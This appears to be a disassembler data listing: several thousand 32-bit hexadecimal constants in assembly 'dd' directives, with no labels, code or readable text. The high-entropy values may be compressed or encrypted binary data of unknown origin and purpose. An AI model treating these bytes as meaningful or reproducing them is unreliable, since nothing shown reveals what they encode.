		dd 0BCC8EC38h, 62104B3Dh, 0F0080371h, 6B0AF19h,	0AE2F1340h
		dd 0BB3B58CEh, 8FD0CC9Fh, 0B26FA0B4h, 1C2688FBh, 0CF14E652h
		dd 0CFE18F58h, 82705704h, 7DE1B650h, 18F4CAB3h,	284A688h
		dd 3CDC1EE5h, 8E0AAEEh,	58808E4Eh, 0A35F0E06h, 6DA92CCDh
		dd 93000814h, 27145550h, 61073D1Ch, 0CF63C9A4h,	32A1803Ah
		dd 2DEB2077h, 0A449002Bh, 0A82A81E6h, 0E4A68408h, 37D122h
		dd 0F6805E3Fh, 54BA9A3h, 25FDE4EBh, 0F7748A00h,	49F203EFh
		dd 3864616Ah, 6DB9AAh, 914A73ADh, 9359004Ch, 3DE9D03Fh
		dd 0FCBE4324h, 3A01615h, 9569D70Eh, 64390088h, 0EE06155Eh
		dd 0B119B48Ah, 5C088B05h, 66C42180h, 0A2A47815h, 0EF988201h
		dd 732EA9D7h, 8ECC8D11h, 0E0410BF9h, 0B29DFE75h, 2FFF0651h
		dd 78B455BAh, 6F304A71h, 966DB835h, 0E0BC8971h,	0FF00E6E9h
		dd 0F9D4CC81h, 3F37C941h, 8309EE0Ch, 18976D1Eh,	0E7879B91h
		dd 41D5208Ah, 0C3038EDFh, 0ADC8C104h, 50ACFA5Ah, 0E2231444h
		dd 0BA04EC5Dh, 29D6109h, 494F1CD5h, 0A6E4B674h,	0CF18C0B2h
		dd 0BDF153E9h, 4D10BC67h, 28D06C7Fh, 40E2F2B4h,	541808B5h
		dd 6F186CF6h, 74DE0305h, 505BD93Bh, 1EF0200Fh, 5065D2E0h
		dd 1EA3CC1Dh, 0B67A8EA3h, 4664AB08h, 13BB7040h,	3704EF82h
		dd 99565C16h, 320FF498h, 35F03944h, 8D08A08Eh, 0A3EC7A60h
		dd 225C464Dh, 8187079Ah, 24AC2CECh, 0A6C8904Ah,	672049EEh
		dd 32900AAEh, 51ECB13Eh, 0A984172h, 0F66E00ADh,	4C7315DFh
		dd 6880BCC3h, 22526F1Fh, 4CAE4C9Bh, 24414656h, 560AD8BCh
		dd 974BD0A9h, 803F9170h, 0CC31BA5Ah, 7A472A1Ch,	0E20930FCh
		dd 0F0E74BC9h, 8780FC91h, 0C40D9E2Eh, 87E0A03h,	94C2DA0h
		dd 6C207496h, 0F2868939h, 4821AC00h, 0C4E716ABh, 56E67AF6h
		dd 9F1288DDh, 67C0D531h, 7822C244h, 2BA95060h, 0ED598B60h
		dd 0A2ABAC11h, 0CAEC82B8h, 0A18D0298h, 4DA0E0AEh, 6F9BC713h
		dd 0CA2FD807h, 3059A81Ch, 79EE204Ch, 48456011h,	184CCC51h
		dd 65A0C550h, 139D048Ch, 62B0B680h, 0B56E2140h,	3746D013h
		dd 0AFD11518h, 0F2941D19h, 73B71EBEh, 2EE17055h, 7C909EA6h
		dd 9CCE0F24h, 0CCCAA964h, 0DF93D7Ch, 49A2EC56h,	704130h
		dd 0D41898B5h, 93F4B1CCh, 83019899h, 2CC40530h,	1F238C4h
		dd 0B3DD4BAAh, 29A67E09h, 8D0210B0h, 0A1EC7CC0h, 9C914C4Dh
		dd 0EC6389C0h, 0F564B0C6h, 0C5B3810h, 6DC22E12h, 0C8339839h
		dd 23049A2h, 65DF3C4Bh,	0D0DCF680h, 0B1F1B9F9h,	0BC8549h
		dd 47CDA4E2h, 12CB251Fh, 60A8A621h, 0D5741EC0h,	7C1837F9h
		dd 35A89B05h, 0D840AFEEh, 396C247Fh, 0FF600A2Ch, 890FED4h
		dd 467CAB4Ah, 0B5910099h, 45362E73h, 0AC9318h, 16E66893h
		dd 60CACB8h, 89A9EE9Eh,	3E5007FBh, 30573B67h, 0E930E249h
		dd 72070500h, 0B1E690Ah, 5B09890h, 1C2113A9h, 0AAB098A6h
		dd 847CE02Eh, 9F186351h, 0B6237EF4h, 4411A0h, 0BB13B76Ch
		dd 3B4801Fh, 0E6635382h, 210034CFh, 0FA6F744Ah,	48DCE8DBh
		dd 5C50CA2Eh, 38774993h, 258017h, 5ABBB88Eh, 6A0F53F1h
		dd 0A169472Ah, 405CB45Dh, 0DFE02850h, 0BC50012Fh, 0A2DCA6EFh
		dd 863860ECh, 58608850h, 9A27A8Ch, 0AB18B67Bh, 6F071C16h
		dd 0C04413BAh, 0F59038F7h, 731A674h, 3E9527E6h,	231720FBh
		dd 149BFF80h, 89597200h, 2E0E1650h, 0E1D82A45h,	5D5AF1Bh
		dd 13563061h, 1254ECC2h, 8CB5AD4Fh, 4804069Ch, 68F92F5Eh
		dd 0FE00982Ch, 0E928FC47h, 58DD16h, 3A0FEF83h, 0D942EC36h
		dd 20747E13h, 84811894h, 0ED009F0Eh, 5A4A3B31h,	0B9701C77h
		dd 0A911150h, 6E9620C3h, 0CF80BDCCh, 0C709FA6Ah, 2B3EFC1Ch
		dd 0D1DF0C5Eh, 17A438A2h, 40CE534Bh, 0DE060F14h, 0A609855Bh
		dd 9AB7C44Ch, 2EF801D8h, 32C83C2Fh, 0A485027Ah,	1C116FAFh
		dd 0C7436451h, 5E8BE1ABh, 4C155881h, 70ED628Dh,	7F8C66D0h
		dd 0EE09115Bh, 87788872h, 211563C7h, 242B216Dh,	0C2123078h
		dd 18DCB2C5h, 41343F79h, 75B0D630h, 0B330322Bh,	0CEFA87Bh
		dd 0EE7E06DAh, 305E1321h, 31577358h, 0CC1AD01Bh, 64232029h
		dd 7157101h, 601842EEh
		dd 0C059C988h, 0A9DB64C0h, 0BF00D2FEh, 3D5A73D4h, 0F28BEA58h
		dd 0C1CB0A3h, 8593559Fh, 0E116B638h, 0C20B5A5h,	80978076h
		dd 0F2F04C82h, 0FD9C6E50h, 0DD3BD0A1h, 0E440107Ah, 480E753Dh
		dd 0B0643CD6h, 155C6067h, 5AEE2304h, 0C6015E11h, 56221564h
		dd 0D7B88175h, 7031AACEh, 278C2192h, 67347080h,	7E5050D2h
		dd 2E58A6A3h, 60049380h, 0D4F4A7E9h, 88F17C38h,	1E6724CFh
		dd 5C2B4C1h, 252852BEh,	0D4A46BD2h, 0D0A16359h,	4C10B67Ch
		dd 72B050ABh, 371D13B9h, 6D40F140h, 2D661D03h, 21F0157Fh
		dd 4F01E8F7h, 4D681A8h,	4069A6CFh, 7B5800DEh, 0F9F696ADh
		dd 0DA584A5Dh, 0F122360Ch, 0CEB625E0h, 0B926A022h, 0B30BFCDAh
		dd 65A9B5E1h, 32BFC404h, 0EDBCA335h, 5CD0E549h,	5BB6CA2Ch
		dd 5CA46C27h, 23201C8Ah, 0AB002AC5h, 0F13DE04Bh, 9FD8A8A2h
		dd 3AECA42Ah, 804CEF38h, 7D0A7C4h, 303944B4h, 0FDCBF0h
		dd 0B15F2E78h, 0D7BEE51h, 0F42F264Ah, 0F3004923h, 9FAB7DA6h
		dd 68BD0047h, 772CB49Eh, 0AD31C2AFh, 49D7709Bh,	0D8B940E1h
		dd 9F82C84Dh, 7328522h,	0C1E0D8E0h, 0FAB14h, 0E5835D5Bh
		dd 0B0EA328Fh, 55B450C0h, 1261CE9h, 0D80D7139h,	34484349h
		dd 0B9EFE230h, 11D04829h, 7F078433h, 84F0ADF7h,	6CD0D21Ah
		dd 0A558405Bh, 0CAD70C5Eh, 0F168AC6Dh, 0ADAEF90Bh, 35E8217Bh
		dd 0B7E14E59h, 4012C66h, 92F5C48h, 88A50C69h, 472CFC96h
		dd 88202026h, 82592880h, 6054160Ah, 0A43A98B1h,	4141E43Ch
		dd 703B6B2h, 0E95AC7E3h, 0F00FEC40h, 7BEA55DFh,	0C85C92A5h
		dd 0E6806640h, 1FBA489Bh, 92FC07ABh, 3D12073Bh,	223C3C79h
		dd 196801B4h, 1B545ACCh, 4B202843h, 83A6EC08h, 0A885CA90h
		dd 94B683Eh, 9078382Fh,	12ED648h, 0FD22AB7Fh, 6CFA59B3h
		dd 2D9F0C30h, 0E391B2h,	22F3C3FFh, 38D50A9Bh, 0D42C0812h
		dd 6E236842h, 0CC020B74h, 780AD7E2h, 5A24CD40h,	422D805Fh
		dd 40DDBB18h, 6332AA20h, 0A38C2963h, 0FA0C3100h, 0E19CD510h
		dd 50CE028Ah, 0B0774487h, 76C2D9E0h, 21B9DC26h,	5C68822Dh
		dd 3A04CF2h, 0A60D7876h, 0E100B0EDh, 59068CF3h,	0C59380h
		dd 382E77FAh, 0BACFFFB8h, 0DF677500h, 2F505CE9h, 0F5EA26A0h
		dd 8462123Dh, 4B8B3E8h,	8B95E136h, 563E3CB7h, 94211D25h
		dd 0DAFF8857h, 620F1841h, 307AF224h, 913EFD11h,	6D7C8952h
		dd 2E1C21D4h, 0DAC6A9EAh, 0B2872CC4h, 0A4B49FB8h, 2B2D00D2h
		dd 0F1EA2FECh, 58B4A549h, 43D1730h, 335310C8h, 0F1B9895Eh
		dd 9AED2h, 8611BAFCh, 4960C7A4h, 0E17B5412h, 2D5C518h
		dd 936060B4h, 4896816Ah, 0CE0C68F4h, 60F22E7Eh,	78974826h
		dd 19EFFD03h, 0A806B163h, 0A4BDBFDAh, 82734848h, 0BE09530Bh
		dd 14C0002Eh, 0BB19ED3Ah, 44454Ah, 8C8570Ch, 0E98498D5h
		dd 4D215E1h, 5FC8812Dh,	0A869009Bh, 0D5DD2CFAh,	7FB6418Ch
		dd 80C06997h, 0A3305087h, 34F24E05h, 0A8E862A8h, 88908078h
		dd 4E584E48h, 9A59E447h, 9840F4FAh, 967F6E1h, 0A1E6C206h
		dd 6356FCA2h, 0EEF5E8C6h, 285CAA0Eh, 0F1E34C43h, 85CE39FAh
		dd 0F0904658h, 0B4D59B96h, 0A54908D0h, 0C1DC10ADh, 66DD0088h
		dd 36DCF0ABh, 0C30954EFh, 669BF99h, 16F9B358h, 0D721D60Dh
		dd 11CA3188h, 0C0405A2h, 6C972224h, 585400A9h, 342CF673h
		dd 9101E21h, 94B0BAC0h,	71114807h, 0A388212Fh, 47FF9380h
		dd 18886D7Fh, 19AC5574h, 6000F79h, 408C490Dh, 17A70A57h
		dd 484E756Dh, 6FC082B4h, 46EE0D15h, 612252h, 641557CBh
		dd 0D126781h, 0DA91F400h, 8EFDB1E1h, 972C30E2h,	0C655AA58h
		dd 18AE0624h, 2DF95402h, 5ACE48Bh, 7411EDFDh, 808C05ACh
		dd 4244C4BAh, 0FEEA4BCCh, 533F8C9h, 0D41D5C05h,	0C2F9C17h
		dd 7D267923h, 2E0530Fh,	448B4974h, 10B4B0E8h, 54AC411h
		dd 0F75E322Ch, 0FAA2CC0h, 5939005Dh, 1DD3D9E4h,	20B5389h
		dd 1B4080Eh, 6C794CBBh,	0C7D5BDE0h, 0ECD81708h,	8D014E20h
		dd 1671E1A3h, 10847214h, 2656A19Bh, 365D1130h, 6B220006h
		dd 7A8BABCBh, 8352392Ch, 211A0866h, 0CB634700h,	0A4E00FFBh
		dd 0DE8C28AEh, 25A4624h, 8BA8CB68h, 101F3162h, 0CB6044h
		dd 0DCBC6A12h, 0F4F6DBD8h, 37A02500h, 22272F9Dh, 0EFE0C20Eh
		dd 6E009E18h, 7A41CAD9h, 20216095h, 39B87DBh, 97086403h
		dd 15D79Dh, 0BF589E18h,	0A401A71Ah, 0F051E130h,	0EF90D6Eh
		dd 2468B1Eh, 40BB8D85h,	6D9CFA4h, 5A03C574h, 0F7E3BD9Bh
		dd 2B8E824h, 51F0305Fh,	0D15B6E29h, 4ED76101h, 46CF0C32h
		dd 21670898h, 0D10F538Fh, 85B04765h, 0B804CDEFh, 39045005h
		dd 1C9AC0EBh, 930F8F54h, 8018EE85h, 41C0EAC7h, 0D34D065Ch
		dd 504E0EF6h, 8089053Eh, 343BA07Ch, 0DC67A9ABh,	6598F048h
		dd 0B703D75Ah, 862335Fh, 0F4CEF86Dh, 0E3070C0Fh, 8B68266Bh
		dd 4991930Ah, 98BCF819h, 28610BF6h, 68C500A8h, 1226A291h
		dd 8CC9289h, 4A211Fh, 69F8C5A0h, 0F18F4467h, 0AD16790Ah
		dd 0F01DCC20h, 0E6D0140h, 28D5F5C7h, 44C87F57h,	8900748Fh
		dd 59049C20h, 0F8ABBB4h, 7806B83Bh, 11EAA3C3h, 2E3B68A6h
		dd 97600065h, 8F067274h, 2808CC4Ch, 5D0E5321h, 0E0221811h
		dd 0F7E2ABE1h, 79C802CEh, 3E8FDB91h, 7F71A890h,	55146C91h
		dd 0C5A98074h, 8CAA9169h, 0F4B2044h, 0AB3BC5A1h, 11EB9101h
		dd 590CDBE3h, 2916F752h, 3DECEC99h, 0FC80A735h,	0E5FDDB0Ch
		dd 6E4826B1h, 49931450h, 0CF017788h, 0B8D2C5E1h, 0E3D69903h
		dd 4DD78FAAh, 90479795h, 658EF798h, 0E0143923h,	0C9B107Ch
		dd 290D2876h, 99FA0280h, 23855DC8h, 18F788A3h, 49909100h
		dd 0E0134206h, 64E10035h, 822954D6h, 20068AEAh,	1EF40B8Bh
		dd 830209C8h, 6586D111h, 0E037016h, 6152677Ch, 0E0BBB093h
		dd 9758C70Fh, 901AC48Dh, 0AF609FB0h, 3DC0D80h, 0C5915AA9h
		dd 20011073h, 5825764Eh, 204EBAA1h, 94AC4F11h, 117B10D4h
		dd 0E3BFD706h, 1D37902Dh, 0CFBEA888h, 227B84D9h, 19888010h
		dd 93931D89h, 1F30F880h, 0C97F3DAFh, 0A4FD592h,	0BC900900h
		dd 0C66B1D80h, 0DD132EFh, 2D73BE18h, 205C8799h,	0D93C6243h
		dd 23A718D7h, 708D9B10h, 24254C33h, 48AA2C50h, 580CA04Eh
		dd 0CE7803B6h, 0A1202C98h, 2137A69h, 0D3CF1878h, 0B88C2A33h
		dd 6A054E29h, 0C253E3E2h, 1EC94079h, 0F2208008h, 0C4010D24h
		dd 41685A35h, 19CFECh, 37CCE0Dh, 95E68D59h, 1FCAE7D3h
		dd 0B40C5842h, 749F360h, 868B00C4h, 1512830Bh, 69DF6588h
		dd 0DA8430Fh, 98BED39Eh, 19017332h, 0C1E56085h,	8DD50C0Ch
		dd 4F2017B7h, 0B37BCA8h, 0EB26E1C0h, 1615CB7Bh,	3ABBFA46h
		dd 1A2304h, 0E0165DAFh,	1760EBDDh, 1CA00499h, 0CC3E00D3h
		dd 8907D08Ch, 96AF70Bh,	0A23D04E8h, 0F004245Fh,	10EC1F4Ch
		dd 92110925h, 0D704131Bh, 48216FD2h, 402FBD50h,	77EED91Dh
		dd 8F883451h, 91191F40h, 2C69311h, 0DC15D59h, 0CCAC8268h
		dd 13F70303h, 3AA32100h, 6FBA8A7Bh, 0F51204EAh,	0C25E8C27h
		dd 0A7305344h, 916710C5h, 9F49E09Ah, 0F5EF05C5h, 8764E6C2h
		dd 0FD8E1378h, 0D1CD2613h, 61C82800h, 643429B3h, 520EE972h
		dd 31578804h, 206FC410h, 0AB804014h, 0BA916BC5h, 4DC0F899h
		dd 7761C5A3h, 1DDF0435h, 81F846C7h, 30BBF10h, 0B573AB4Fh
		dd 12F49814h, 5403FE36h, 47F9FD7h, 5D077819h, 9DF0C986h
		dd 0C40B1948h, 1442FF0h
		dd 62967922h, 40978030h, 6739CD32h, 135D82A1h, 641647E3h
		dd 3D0130ECh, 0F3CF5A38h, 43FB4403h, 10586D77h,	6228C778h
		dd 2E2BA8h, 1A978757h, 0C015F680h, 0F038D7E1h, 9200647Dh
		dd 2F20727Ah, 5889D20Ch, 407294ADh, 0F01883Eh, 0CD06C7E4h
		dd 0B020642Ah, 1EFE2C08h, 665986A8h, 30032816h,	45895E55h
		dd 77B5F1E4h, 2405D821h, 35CE3881h, 0EA39DC26h,	0BF8CD4h
		dd 173D1555h, 0FF109A97h, 5604E5B8h, 0D3686B6h,	66389090h
		dd 101C0152h, 0DF330283h, 240BCC12h, 61503F60h,	35D3916Dh
		dd 811032D7h, 65E7D38h,	887645B8h, 5564D18h, 20024358h
		dd 27ECCF54h, 0DBC8B650h, 4C991340h, 0A5174C03h, 0BDB045F8h
		dd 37B0466Bh, 9B00A116h, 1F9054B1h, 1AFD2D5h, 0F1C5767Bh
		dd 0E0889A52h, 2E4846D9h, 4961309Ch, 147C774h, 1AC25E9Eh
		dd 6072481Dh, 21C9918Ch, 43DC10F7h, 0F12C1E81h,	2FC000F4h
		dd 0A70AF044h, 42610D01h, 6746815h, 0E1BFC41h, 20995907h
		dd 4195CCDEh, 0D0592900h, 7617B19h, 9389145Bh, 972AE490h
		dd 56F12680h, 59AB8024h, 5AFE9A84h, 0B8C879F2h,	0FD06B954h
		dd 6122EAA8h, 0D9F8B00h, 4A8F3C7Ch, 0C82E0965h,	0DD00E16Ah
		dd 9AA01B2Dh, 0F0A12230h, 4867A5F1h, 44CE858h, 0A6F0D126h
		dd 362F0874h, 2B959705h, 0C46014D4h, 0FDD3920Ah, 0CD11E450h
		dd 6F98C802h, 9E11A8ACh, 5BC2608Eh, 26314C97h, 11582017h
		dd 0EF184925h, 84A0366Ah, 71C8A0CAh, 20C8234Dh,	7FC54102h
		dd 234CB32Ch, 611D9F78h, 54975C84h, 4F202362h, 92751159h
		dd 0E172558h, 52855022h, 37604C42h, 6C64464Ah, 8F4323E0h
		dd 0AFC17CE1h, 5E1FC057h, 7328B0BAh, 0D320A098h, 12AC8C16h
		dd 60F0C7CEh, 0FDA38DBCh, 8068796Ch, 0DA8A889h,	6D05249Bh
		dd 41264498h, 60E1A38Bh, 3BF7710h, 8341756h, 0CCE58DB4h
		dd 5A5055D0h, 538A8D34h, 0C4427090h, 1ADC260Fh,	0C0500FF2h
		dd 0D8176EB7h, 8229C005h, 62AF73E6h, 1D2BD4A0h,	126AC183h
		dd 50988474h, 4A29A8DFh, 1DCC41F9h, 0F117EAB2h,	6249920Ch
		dd 27D34004h, 6F5B9E00h, 0F105CF58h, 49E54F3Eh,	0F46D4CC1h
		dd 0F70C8104h, 0CE88441Dh, 0C023C874h, 1F2AE5FDh, 2364292Ch
		dd 9320E428h, 0B95D0E18h, 12AF8DE0h, 172E2C54h,	0C58E0696h
		dd 0D4993242h, 88643E11h, 0C5AD6159h, 0A4CA3820h, 4F1D4444h
		dd 3CC5A501h, 148B5D6Fh, 3F975424h, 89E0479Dh, 91F1D6C1h
		dd 381F174Ah, 0BB05B100h, 41D9CB85h, 875DF064h,	74412460h
		dd 3C861C93h, 1937A6CBh, 41548421h, 1043A597h, 0C6240429h
		dd 88C78374h, 0F1D9B1CDh, 0AE718059h, 67954152h, 0AD30C01Ch
		dd 3769F8B3h, 42DC3A55h, 0F8335B2Ch, 468BA9CBh,	119226Ah
		dd 40CB6145h, 91FF02A9h, 1106B180h, 0F81BC7C5h,	9510888Eh
		dd 9E022E13h, 58F9AB0Bh, 1D219844h, 68223CFFh, 0E8D68CA1h
		dd 2441D40Bh, 8B9DD864h, 0FA4F7810h, 0D068274Ah, 75FF405Fh
		dd 1100E174h, 0B53476D1h, 427900Ch, 2C0391A8h, 43EB061Fh
		dd 5E2896A1h, 0B90B2A46h, 59008EE4h, 90419FCFh,	2F198C90h
		dd 2CD8DB38h, 0D543630h, 5209AB2Bh, 0E13821D9h,	10D42915h
		dd 257CF4C7h, 240A2B8Fh, 53460C00h, 768CA598h, 52B49067h
		dd 25224C84h, 115F5500h, 0B67821F8h, 191F63EBh,	80B70765h
		dd 0EA84EDA2h, 0CA1D100h, 2ECA391Bh, 40AC4CDDh,	8203B11h
		dd 3B5FF5CBh, 97131202h, 2048BBC5h, 0E8C2C2D9h,	71D8B83Dh
		dd 1FE1F110h, 875EE1C8h, 6023449Ch, 5A173269h, 617C31D3h
		dd 0F0CC0463h, 7BA001F6h, 4C8CD1F2h, 378840BCh,	1E6223BDh
		dd 44BFCF90h, 7A7D0988h, 5C0463B3h, 384953FEh, 69D46813h
		dd 938F88F3h, 0A406027h, 0C4387014h, 1CD0AC5Eh,	4614D285h
		dd 48105788h, 9D705202h, 0C19EB11Ah, 82FE3BBCh,	0C83D9C30h
		dd 5699D3BCh, 21022CE0h, 3EAB9390h, 0F9293CA2h,	82E2C02Ah
		dd 4DBC4C10h, 382840F9h, 7B7CA128h, 0C8635212h,	0D10014FAh
		dd 3C931EC6h, 1CAC57DBh, 0E500F468h, 6289BED3h,	3D42494h
		dd 0C5994CFFh, 0E912053Bh, 0B0539398h, 48C85C12h, 91210AB8h
		dd 4CA42C0Bh, 70E85D7Ah, 27F90499h, 0DB076118h,	24CBA7D7h
		dd 0A05C0B72h, 7193C998h, 61289E63h, 2CF83088h,	874980FCh
		dd 6C2F9h, 0F0140332h, 858D1E73h, 167CD776h, 2379DAB0h
		dd 14780CF4h, 98895A3Fh, 610E0721h, 0EA684AE9h,	83D14443h
		dd 0FF749EBDh, 60840FC0h, 8D2B211Dh, 1AC12E35h,	4E37B966h
		dd 0F1026A88h, 61B58903h, 0E9201829h, 0F88B373Dh, 91E426CCh
		dd 3052E06Ah, 202103E8h, 96D6C35Ah, 1654CCFFh, 524221C0h
		dd 188025C3h, 170EE8C0h, 0F6002A3Ch, 33DA9F3Dh,	18C6B9Bh
		dd 0BDDB25CDh, 99FFB70Fh, 299D17E9h, 821FE9F0h,	3A857130h
		dd 569C238Bh, 44C35E0Eh, 19627489h, 0C3564620h,	2F572DEh
		dd 321E0CFh, 34A7998Dh,	4417049Eh, 14F2F84h, 450899A5h
		dd 8115695h, 58C3503Fh,	448991C3h, 40881A18h, 8BC31F50h
		dd 401E9D03h, 9CB5A9B7h, 42F35EE9h, 5B305329h, 4689E4C3h
		dd 118225Ch, 0D6C35343h, 2056055Ah, 0BF066698h,	7E99963h
		dd 6580325h, 207F37F0h,	8BF961D0h, 951BC072h, 0C3D21DB5h
		dd 0F1FC1ECAh, 75312010h, 0E251209h, 50197410h,	0B83C5363h
		dd 0D95F41D4h, 248218F1h, 0A7529D8Dh, 0D3FFDF80h, 22AC585Bh
		dd 200F1741h, 90A44111h, 301222F6h, 0D80B09E8h,	6A0233FBh
		dd 0FC3BE15Ah, 0D38541D6h, 0E781A0E3h, 33801FA5h, 0E112D88Dh
		dd 8F6E0FC0h, 3F68053Fh, 23B8F011h, 0C35F0E57h,	627C8944h
		dd 5747201Ch, 0BE006EC3h, 2BFC1E07h, 28FDCF6h, 804CB760h
		dd 0A9405DE5h, 46DED9Dh, 1088627Ch, 0B9401E4Dh,	6B750EFh
		dd 0D595FF42h, 81011A24h, 0F7E1F3DFh, 0B2B9855Eh, 200B89FBh
		dd 4823040h, 0CE979B9Ah, 1CB59D61h, 9972D44h, 914E1D59h
		dd 8B018014h, 0A00789BDh, 0E2950329h, 2908A334h, 0E2C5504h
		dd 8944C35Dh, 307CE6Ch,	50C35545h, 0C9E0E7D5h, 651DF69Ah
		dd 0E94830h, 0BE13BB3Fh, 0B036FD2h, 38673E8Fh, 0B07880D6h
		dd 47E604EEh, 0C1E0171Fh, 1F2794Ch, 3F800DE9h, 0A68CCE9Bh
		dd 0B602107Eh, 0CB5538BCh, 90A5634Bh, 0C4E82BFh, 13E952E0h
		dd 92903B33h, 0EC5E1E00h, 0DB0591EDh, 4E9000DDh, 0AF7FCCC4h
		dd 9690E8F6h, 26276A58h, 5AA12183h, 1C8CEC00h, 500DEBh
		dd 84CC9BF6h, 0C1043C83h, 23CE0803h, 188FABE5h,	3705E942h
		dd 25185CDEh, 311854B4h, 0A2D2A95h, 0E5B518ECh,	0FF680C03h
		dd 0ECB878D0h, 8E008C1Bh, 3F57DC5Eh, 0A0F466EBh, 821279EBh
		dd 4ADA9281h, 0C81D62BCh, 74FAA441h, 0B5131546h, 8D2F04B9h
		dd 4219465h, 2F0F8D8h, 4A1D9D01h, 0FA31862h, 28739188h
		dd 18F12867h, 8ACE441Dh, 2B50CA04h, 59D71595h, 11FD9D79h
		dd 0F735801Dh, 4AF9E0h,	63C6555h, 0F1950BECh, 0FF147192h
		dd 743B9BB5h, 8087F9F1h, 67E98111h, 9103454Dh, 1F0A11D0h
		dd 30D4E88Ah, 0FEB7126Ah, 0A49FD408h, 93570DCBh, 5A0A0860h
		dd 7D642262h, 20024404h, 32812C4Dh, 1B801405h, 75EDC0Eh
		dd 0B5BA106Ah, 0BF31705Dh, 9529E4F8h, 2864E803h, 0BEEA8140h
		dd 7856B473h, 75A466CAh, 96E95271h, 6D50533Bh, 0F1EC0042h
		dd 874D173h, 662BF78Bh,	811FCF5Fh, 94CBED84h, 0A164B884h
		dd 0FCD7C81h, 9354E606h, 48EBC53Bh, 0E9B12673h,	3A1818F9h
		dd 1628B071h, 0FD34A112h
		dd 0C1645C23h, 96978C1h, 7C9018A4h, 7E0E1846h, 0AE0B7C86h
		dd 0E4BBB018h, 9D1AEF06h, 0C4581C60h, 1419C96Ch, 0DBD1087h
		dd 0E918FF46h, 0D8444111h, 87A78B00h, 0BAC08EAFh, 6B3301AAh
		dd 0A6737084h, 8B9E42ABh, 0C03BBF23h, 24016DCFh, 0A6A8618Dh
		dd 0BD235018h, 3B2E192Bh, 0F5150424h, 623C56C9h, 931321B2h
		dd 0E849E426h, 9FDE0610h, 6AC7AFA0h, 7C8C609h, 226301B8h
		dd 0FA8C5FE2h, 7F2D0BE8h, 1F6E790Eh, 648580F4h,	98C57757h
		dd 4625013Dh, 68593CA5h, 12F8580h, 9944F9B5h, 40CE036Ah
		dd 77C01D88h, 38671ABh,	0BA2C6F3Dh, 0DA78DC7Eh,	0D3911258h
		dd 110CB405h, 0ED83B6D5h, 59099C35h, 20C0AD49h,	93D0C524h
		dd 624C5DA1h, 90087DAAh, 8003D9A1h, 0B9000DBAh,	0BF0F2052h
		dd 50F883CEh, 4079A4FFh, 290C6005h, 30313DB5h, 61CB0E8Ah
		dd 0FB2C85FFh, 8C580F5Ah, 0FF7EB033h, 6FD7003Eh, 56D3ED06h
		dd 80075EEAh, 0E5F46B03h, 6118E481h, 2502FE21h,	0F9FE4102h
		dd 0E3299F53h, 0ABC8DCF5h, 5B24383Bh, 3A028C58h, 8E84F50h
		dd 902AEB23h, 548C963h,	8D29D9E1h, 5F9F43EDh, 4210D0FFh
		dd 10691E8Eh, 0B602E032h, 0BAE42689h, 94FBA0Eh,	2F8F1284h
		dd 42FED888h, 0C181F0D8h, 76B2099Ch, 0D3092B21h, 110E8511h
		dd 0AEE0DE5Ah, 0B10A0145h, 0D0077038h, 0A86E3173h, 0C71227ACh
		dd 2A896134h, 925CEC2Bh, 9B8D0BEh, 3800E55Eh, 6EEA86C4h
		dd 4F9EC0Ah, 7C6157FEh,	90478645h, 4FC2220Ch, 370F103Eh
		dd 65410C80h, 1CB4248Fh, 64362CEFh, 1B24A3C9h, 0AC84D78Ah
		dd 48DDAE8Ch, 492EE0Ch,	0A71C5D0Eh, 0A2BA5326h,	0EC033117h
		dd 59B9E131h, 0EFA07DA5h, 4A0A94B7h, 23171800h,	320497BCh
		dd 67B1528Bh, 40991B50h, 62B1590Ah, 30564F64h, 3A0E87A2h
		dd 667CBA2Ch, 0C09E4DC9h, 1020D2E9h, 43657848h,	908C21B7h
		dd 21209780h, 508B6660h, 59CAC0CFh, 5C968961h, 502E8EB1h
		dd 252BBAC2h, 0B1E8CCCh, 4CE1998Dh, 398C51C2h, 8917C359h
		dd 41BB384Ch, 0F5C3510Bh, 0BD753911h, 0C70324C5h, 0A02D7DE1h
		dd 0B628620Ch, 31D0B3E9h, 1C786B3h, 0B8621EFh, 961C1B20h
		dd 0EF4CBB27h, 587DEACBh, 7580FEF3h, 505F9744h,	1CD1AAB1h
		dd 2C005E18h, 736CCEBBh, 28DDCCE2h, 163D810Fh, 22F59D09h
		dd 0D7E101DCh, 0FDF86B1h, 2C290283h, 0A975D18Bh, 1814F967h
		dd 0BD890AD6h, 44CE10DDh, 60514097h, 49299D8Bh,	627E9D0Bh
		dd 5F6199FDh, 0D0B23E92h, 0F087B36Ch, 0D2601744h, 337FCD7Ah
		dd 0C056095h, 86E8484Eh, 2A931980h, 72F523C3h, 610E0029h
		dd 0FE594A55h, 0AFFA01B7h, 84685A7Bh, 0F21BEC1Fh, 0A98D8917h
		dd 0D25F044Fh, 5887DF35h, 0BCF20AF4h, 441A84C4h, 0BE98CB8Bh
		dd 2098B060h, 81982A49h, 0A461FB26h, 0CE2AB127h, 0C5BA2B13h
		dd 0FD504C49h, 419026D6h, 508C58E6h, 4F80FE91h,	0B4DCD44h
		dd 2BFB9C5Ah, 0B37257Eh, 319F3A00h, 1E109D4Ah, 3195ACDFh
		dd 22E9C8C4h, 7AA0386h,	88E2A1CAh, 2B35FA25h, 2FBE818h
		dd 12719D89h, 8F451D44h, 7F5B601h, 0A584C673h, 0D021291Bh
		dd 0E90F0229h, 65FCF726h, 0A5381810h, 7A000A77h, 6CC78F8Ah
		dd 6E4403Ah, 0E0957F52h, 0E82266B7h, 54F95DFBh,	81105C53h
		dd 85277E34h, 0A64C88B5h, 1CE9D604h, 6CC7BD94h,	1DB14080h
		dd 9DB5248Dh, 3769ACF9h, 5A40989h, 8E905A0h, 3F590B00h
		dd 2EB619FDh, 24132B3Bh, 1B46740Dh, 0AE84C900h,	0CD51ACDBh
		dd 5C159858h, 0B1BD84EEh, 4BF7FA0h, 6549D9A7h, 0A2EAF36Ah
		dd 0BAFA3018h, 0F06D3C07h, 599D08Bh, 2ED2552Bh,	69A18259h
		dd 0E497D218h, 8D62B3F3h, 199B298Dh, 5A7218Bh, 74291444h
		dd 6F37D025h, 6A184700h, 0AD698B1h, 0D5563420h,	76509E7h
		dd 0EA046F46h, 56533BCCh, 1FB53D81h, 6342F322h,	19A29343h
		dd 56D8630h, 735DE762h,	509788E9h, 56EE2000h, 0CABF92DFh
		dd 5CB2F249h, 2F4E91ADh, 1C2360h, 0F06F71B2h, 9202F366h
		dd 0BD01256Bh, 0B9D45085h, 1FD9F127h, 9E5ED9C8h, 4013DC8Dh
		dd 6042202h, 560930D9h,	25E12702h, 0A33E5A05h, 72041423h
